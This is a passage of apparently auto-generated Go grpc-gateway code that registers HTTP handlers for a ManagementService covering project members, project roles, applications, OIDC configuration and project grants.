{\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddProjectMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeProjectMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveProjectMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchProjectRoles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddProjectRole_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_BulkAddProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_BulkAddProjectRole_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_BulkAddProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeProjectRole_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveProjectRole_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchApplications_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchApplications_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchApplications_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ApplicationByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ApplicationByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ApplicationByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ApplicationChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ApplicationChanges_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ApplicationChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOIDCApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateOIDCApplication_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOIDCApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateApplication_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateApplication_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateApplication_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveApplication_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateApplicationOIDCConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateApplicationOIDCConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateApplicationOIDCConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_RegenerateOIDCClientSecret_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RegenerateOIDCClientSecret_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RegenerateOIDCClientSecret_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectGrants_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchProjectGrants_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectGrants_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectGrantByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ProjectGrantByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectGrantByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateProjectGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateProjectGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateProjectGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateProjectGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, 